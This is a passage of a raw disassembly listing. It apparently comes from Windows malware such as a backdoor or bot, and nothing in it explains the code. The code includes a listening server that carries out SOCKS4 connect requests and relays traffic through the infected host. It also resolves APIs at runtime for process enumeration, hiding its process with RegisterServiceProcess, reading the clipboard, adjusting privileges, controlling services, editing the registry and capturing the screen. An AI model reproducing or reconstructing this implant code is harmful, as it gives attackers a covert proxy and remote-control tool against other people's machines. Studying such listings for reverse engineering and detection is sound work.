sub_406D50	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406DED	proc near		; DATA XREF: sub_40CC09+540Eo

var_1D4		= byte ptr -1D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_44CCDC	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_44CD58	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 134h
		push	ebx
		mov	dword_452134[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_44CD08	; bind
		test	eax, eax
		jnz	loc_406F8F
		push	0Ah
		push	edi
		call	dword_44CD04	; listen
		test	eax, eax
		jnz	loc_406F8F
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1D4]
		push	offset unk_4263F0
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_406EC8
		push	esi
		lea	eax, [ebp+var_1D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40B2B5
		add	esp, 14h


loc_406EC8:				; CODE XREF: sub_406DED+B9j
					; sub_406DED+172j ...
		lea	eax, [ebp+var_1D4]
		push	eax
		call	sub_409833
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_44CD6C	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1D4]
		push	offset unk_42639C
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1D4]
		push	11h
		push	eax
		call	sub_4132BE
		mov	[ebp+var_38], eax
		imul	eax, 134h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_45212C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_406FF2
		push	esi
		push	esi
		call	ds:off_41F070
		mov	ecx, [ebp+var_38]
		imul	ecx, 134h
		cmp	eax, esi
		mov	dword_45213C[ecx], eax
		jz	short loc_406F6F


loc_406F5C:				; CODE XREF: sub_406DED+180j
		cmp	[ebp+var_28], esi
		jnz	loc_406EC8
		push	5
		call	ds:dword_41F050	; Sleep
		jmp	short loc_406F5C
; ---------------------------------------------------------------------------


loc_406F6F:				; CODE XREF: sub_406DED+16Dj
		call	ds:off_41F06C
		push	eax
		lea	eax, [ebp+var_1D4]
		push	offset unk_426350
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	loc_406EC8
; ---------------------------------------------------------------------------


loc_406F8F:				; CODE XREF: sub_406DED+7Bj
					; sub_406DED+8Cj
		push	edi
		call	dword_44CD70	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_1D4]
		push	offset unk_426310
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_406FD2
		push	esi
		lea	eax, [ebp+var_1D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40B2B5
		add	esp, 14h


loc_406FD2:				; CODE XREF: sub_406DED+1C3j
		lea	eax, [ebp+var_1D4]
		push	eax
		call	sub_409833
		push	[ebp+var_3C]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:off_41F040
		pop	edi
		pop	esi
		pop	ebx
sub_406DED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406FF2	proc near		; DATA XREF: sub_406DED+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 134h
		pop	edi
		lea	esi, dword_452134[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_44CCC4	; select
		test	eax, eax
		jnz	short loc_407073
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_407073:				; CODE XREF: sub_406FF2+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_44CCF4	; recv
		test	eax, eax
		jg	short loc_4070A4
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_4070A4:				; CODE XREF: sub_406FF2+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_40729E
		cmp	[ebp+var_4CF], 1
		jnz	loc_40729E
		cmp	[ebp+var_44], bl
		jz	short loc_40713A
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40713A
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_4264CC
		call	sub_4098A7
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_413890
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_44CD28	; send
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_40713A:				; CODE XREF: sub_406FF2+CFj
					; sub_406FF2+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_413890
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_44CD58	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4071D2
		call	dword_44CC78	; WSAGetLastError
		push	eax
		push	offset unk_42647C
		call	sub_4098A7
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_413890
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_44CD28	; send
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_4071D2:				; CODE XREF: sub_406FF2+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_44CC88	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407241
		call	dword_44CC78	; WSAGetLastError
		push	eax
		push	offset unk_426428
		call	sub_4098A7
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_413890
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_44CD28	; send
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_407241:				; CODE XREF: sub_406FF2+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_44CD28	; send
		push	dword ptr [esi]
		push	edi
		call	sub_4072B6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_44CD70	; closesocket
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040


loc_40729E:				; CODE XREF: sub_406FF2+B9j
					; sub_406FF2+C6j
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040
sub_406FF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4072B6	proc near		; CODE XREF: sub_406FF2+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4072CC:				; CODE XREF: sub_4072B6+C5j
					; sub_4072B6+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4072E4:				; CODE XREF: sub_4072B6+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4072F4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4072E4


loc_4072F4:				; CODE XREF: sub_4072B6+33j
		cmp	ecx, 1
		jnz	short loc_407309
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_407309:				; CODE XREF: sub_4072B6+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_44CCC4	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_44CBE4	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_407369
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_44CCF4	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4073B1
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4073B1


loc_407369:				; CODE XREF: sub_4072B6+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CBE4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4072CC
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_44CCF4	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4073B1
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4072CC


loc_4073B1:				; CODE XREF: sub_4072B6+9Aj
					; sub_4072B6+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4072B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4073B6	proc near		; CODE XREF: sub_40C2D0+58p
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41F0B0
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:off_41F0AC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4074D6
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_44CD84, eax
		call	esi ; sub_74AAC1
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_44CCFC, eax
		call	esi ; sub_74AAC1
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_44CCE0, eax
		call	esi ; sub_74AAC1
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_44CC0C, eax
		call	esi ; sub_74AAC1
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_44CBBC, eax
		call	esi ; sub_74AAC1
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_44CBE8, eax
		call	esi ; sub_74AAC1
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_44CC58, eax
		call	esi ; sub_74AAC1
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_44CD38, eax
		call	esi ; sub_74AAC1
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_44CD94, eax
		call	esi ; sub_74AAC1
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_44CC18, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CD84, ebx
		mov	dword_44CC00, eax
		jz	short loc_4074B4
		cmp	dword_44CCFC, ebx
		jz	short loc_4074B4
		cmp	dword_44CCE0, ebx
		jz	short loc_4074B4
		cmp	dword_44CC0C, ebx
		jz	short loc_4074B4
		cmp	dword_44CBE8, ebx
		jz	short loc_4074B4
		cmp	dword_44CC58, ebx
		jz	short loc_4074B4
		cmp	dword_44CD38, ebx
		jz	short loc_4074B4
		cmp	dword_44CD94, ebx
		jz	short loc_4074B4
		cmp	dword_44CC18, ebx
		jz	short loc_4074B4
		cmp	eax, ebx
		jnz	short loc_4074BE


loc_4074B4:				; CODE XREF: sub_4073B6+B8j
					; sub_4073B6+C0j ...
		mov	dword_44CD98, 1


loc_4074BE:				; CODE XREF: sub_4073B6+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; sub_74AAC1
		cmp	eax, ebx
		mov	dword_44CD10, eax
		jz	short loc_4074EB
		push	1
		push	ebx
		call	eax
		jmp	short loc_4074EB
; ---------------------------------------------------------------------------


loc_4074D6:				; CODE XREF: sub_4073B6+1Dj
		call	ds:off_41F06C
		mov	dword_44CD9C, eax
		mov	dword_44CD98, 1


loc_4074EB:				; CODE XREF: sub_4073B6+117j
					; sub_4073B6+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:off_41F0A8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4075A6
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_44CD34, eax
		call	esi ; sub_74AAC1
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_44CCE8, eax
		call	esi ; sub_74AAC1
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_44CC80, eax
		call	esi ; sub_74AAC1
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_44CD88, eax
		call	esi ; sub_74AAC1
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_44CCAC, eax
		call	esi ; sub_74AAC1
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_44CCCC, eax
		call	esi ; sub_74AAC1
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_44CD2C, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CD34, ebx
		mov	dword_44CC34, eax
		jz	short loc_4075B1
		cmp	dword_44CCE8, ebx
		jz	short loc_4075B1
		cmp	dword_44CC80, ebx
		jz	short loc_4075B1
		cmp	dword_44CD88, ebx
		jz	short loc_4075B1
		cmp	dword_44CCAC, ebx
		jz	short loc_4075B1
		cmp	dword_44CCCC, ebx
		jz	short loc_4075B1
		cmp	dword_44CD2C, ebx
		jz	short loc_4075B1
		cmp	eax, ebx
		jnz	short loc_4075BB
		jmp	short loc_4075B1
; ---------------------------------------------------------------------------


loc_4075A6:				; CODE XREF: sub_4073B6+144j
		call	ds:off_41F06C
		mov	dword_44CDA4, eax


loc_4075B1:				; CODE XREF: sub_4073B6+1B8j
					; sub_4073B6+1C0j ...
		mov	dword_44CDA0, 1


loc_4075BB:				; CODE XREF: sub_4073B6+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407756
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_44CD48, eax
		call	esi ; sub_74AAC1
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_44CC94, eax
		call	esi ; sub_74AAC1
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_44CD00, eax
		call	esi ; sub_74AAC1
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_44CBF8, eax
		call	esi ; sub_74AAC1
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_44CC54, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CD48, ebx
		mov	dword_44CCB8, eax
		jz	short loc_407646
		cmp	dword_44CC94, ebx
		jz	short loc_407646
		cmp	dword_44CD00, ebx
		jz	short loc_407646
		cmp	dword_44CBF8, ebx
		jz	short loc_407646
		cmp	dword_44CC54, ebx
		jz	short loc_407646
		cmp	eax, ebx
		jnz	short loc_407650


loc_407646:				; CODE XREF: sub_4073B6+26Aj
					; sub_4073B6+272j ...
		mov	dword_44CDA8, 1


loc_407650:				; CODE XREF: sub_4073B6+28Ej
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_44CCC0, eax
		call	esi ; sub_74AAC1
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_44CC9C, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CCC0, ebx
		mov	dword_44CD44, eax
		jz	short loc_40768B
		cmp	dword_44CC9C, ebx
		jz	short loc_40768B
		cmp	eax, ebx
		jnz	short loc_407695


loc_40768B:				; CODE XREF: sub_4073B6+2C7j
					; sub_4073B6+2CFj
		mov	dword_44CDA8, 1


loc_407695:				; CODE XREF: sub_4073B6+2D3j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_44CCD0, eax
		call	esi ; sub_74AAC1
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_44CBD4, eax
		call	esi ; sub_74AAC1
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_44CBDC, eax
		call	esi ; sub_74AAC1
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_44CC3C, eax
		call	esi ; sub_74AAC1
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_44CC40, eax
		call	esi ; sub_74AAC1
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_44CBF0, eax
		call	esi ; sub_74AAC1
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_44CCA0, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CCD0, ebx
		mov	dword_44CBE0, eax
		jz	short loc_407739
		cmp	dword_44CBD4, ebx
		jz	short loc_407739
		cmp	dword_44CBDC, ebx
		jz	short loc_407739
		cmp	dword_44CC3C, ebx
		jz	short loc_407739
		cmp	dword_44CC40, ebx
		jz	short loc_407739
		cmp	dword_44CBF0, ebx
		jz	short loc_407739
		cmp	dword_44CCA0, ebx
		jz	short loc_407739
		cmp	eax, ebx
		jnz	short loc_407743


loc_407739:				; CODE XREF: sub_4073B6+34Dj
					; sub_4073B6+355j ...
		mov	dword_44CDA8, 1


loc_407743:				; CODE XREF: sub_4073B6+381j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; sub_74AAC1
		cmp	eax, ebx
		mov	dword_44CBD8, eax
		jnz	short loc_40776B
		jmp	short loc_407761
; ---------------------------------------------------------------------------


loc_407756:				; CODE XREF: sub_4073B6+210j
		call	ds:off_41F06C
		mov	dword_44CDAC, eax


loc_407761:				; CODE XREF: sub_4073B6+39Ej
		mov	dword_44CDA8, 1


loc_40776B:				; CODE XREF: sub_4073B6+39Cj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407837
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_44CCC8, eax
		call	esi ; sub_74AAC1
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_44CD1C, eax
		call	esi ; sub_74AAC1
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_44CD24, eax
		call	esi ; sub_74AAC1
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_44CCE4, eax
		call	esi ; sub_74AAC1
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_44CC1C, eax
		call	esi ; sub_74AAC1
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_44CBCC, eax
		call	esi ; sub_74AAC1
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_44CD20, eax
		call	esi ; sub_74AAC1
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_44CBB8, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CCC8, ebx
		mov	dword_44CC4C, eax
		jz	short loc_407842
		cmp	dword_44CD1C, ebx
		jz	short loc_407842
		cmp	dword_44CD24, ebx
		jz	short loc_407842
		cmp	dword_44CCE4, ebx
		jz	short loc_407842
		cmp	dword_44CC1C, ebx
		jz	short loc_407842
		cmp	dword_44CBCC, ebx
		jz	short loc_407842
		cmp	dword_44CD20, ebx
		jz	short loc_407842
		cmp	dword_44CBB8, ebx
		jz	short loc_407842
		cmp	eax, ebx
		jnz	short loc_40784C
		jmp	short loc_407842
; ---------------------------------------------------------------------------


loc_407837:				; CODE XREF: sub_4073B6+3C0j
		call	ds:off_41F06C
		mov	dword_44CDB4, eax


loc_407842:				; CODE XREF: sub_4073B6+441j
					; sub_4073B6+449j ...
		mov	dword_44CDB0, 1


loc_40784C:				; CODE XREF: sub_4073B6+47Dj
		mov	ebp, ds:off_41F0A8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; sub_747AEC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_407B08
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_44CC60, eax
		call	esi ; sub_74AAC1
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_44CD7C, eax
		call	esi ; sub_74AAC1
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_44CC08, eax
		call	esi ; sub_74AAC1
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_44CBE4, eax
		call	esi ; sub_74AAC1
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_44CC8C, eax
		call	esi ; sub_74AAC1
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_44CC78, eax
		call	esi ; sub_74AAC1
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_44CC48, eax
		call	esi ; sub_74AAC1
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_44CD58, eax
		call	esi ; sub_74AAC1
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_44CD74, eax
		call	esi ; sub_74AAC1
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_44CC88, eax
		call	esi ; sub_74AAC1
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_44CD64, eax
		call	esi ; sub_74AAC1
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_44CD18, eax
		call	esi ; sub_74AAC1
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_44CCDC, eax
		call	esi ; sub_74AAC1
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_44CCD8, eax
		call	esi ; sub_74AAC1
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_44CC28, eax
		call	esi ; sub_74AAC1
		push	offset aSend	; "send"
		push	edi
		mov	dword_44CC20, eax
		call	esi ; sub_74AAC1
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_44CD28, eax
		call	esi ; sub_74AAC1
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_44CD3C, eax
		call	esi ; sub_74AAC1
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_44CCF4, eax
		call	esi ; sub_74AAC1
		mov	dword_44CCB4, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; sub_74AAC1
		push	offset aSelect	; "select"
		push	edi
		mov	dword_44CD08, eax
		call	esi ; sub_74AAC1
		push	offset aListen	; "listen"
		push	edi
		mov	dword_44CCC4, eax
		call	esi ; sub_74AAC1
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_44CD04, eax
		call	esi ; sub_74AAC1
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_44CD6C, eax
		call	esi ; sub_74AAC1
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_44CCBC, eax
		call	esi ; sub_74AAC1
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_44CC84, eax
		call	esi ; sub_74AAC1
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_44CCF0, eax
		call	esi ; sub_74AAC1
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_44CD5C, eax
		call	esi ; sub_74AAC1
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_44CC98, eax
		call	esi ; sub_74AAC1
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_44CC44, eax
		call	esi ; sub_74AAC1
		cmp	dword_44CC60, ebx
		mov	dword_44CD70, eax
		jz	loc_407B13
		cmp	dword_44CD7C, ebx
		jz	loc_407B13
		cmp	dword_44CC08, ebx
		jz	loc_407B13
		cmp	dword_44CC8C, ebx
		jz	loc_407B13
		cmp	dword_44CC78, ebx
		jz	loc_407B13
		cmp	dword_44CC48, ebx
		jz	loc_407B13
		cmp	dword_44CD58, ebx
		jz	loc_407B13
		cmp	dword_44CD74, ebx
		jz	loc_407B13
		cmp	dword_44CC88, ebx
		jz	loc_407B13
		cmp	dword_44CD64, ebx
		jz	loc_407B13
		cmp	dword_44CD18, ebx
		jz	loc_407B13
		cmp	dword_44CCDC, ebx
		jz	loc_407B13
		cmp	dword_44CCD8, ebx
		jz	loc_407B13
		cmp	dword_44CC28, ebx
		jz	short loc_407B13
		cmp	dword_44CD28, ebx
		jz	short loc_407B13
		cmp	dword_44CD3C, ebx
		jz	short loc_407B13
		cmp	dword_44CCF4, ebx
		jz	short loc_407B13
		cmp	dword_44CCB4, ebx
		jz	short loc_407B13
		cmp	dword_44CD08, ebx
		jz	short loc_407B13
		cmp	dword_44CCC4, ebx
		jz	short loc_407B13
		cmp	dword_44CD04, ebx
		jz	short loc_407B13
		cmp	dword_44CD6C, ebx
		jz	short loc_407B13
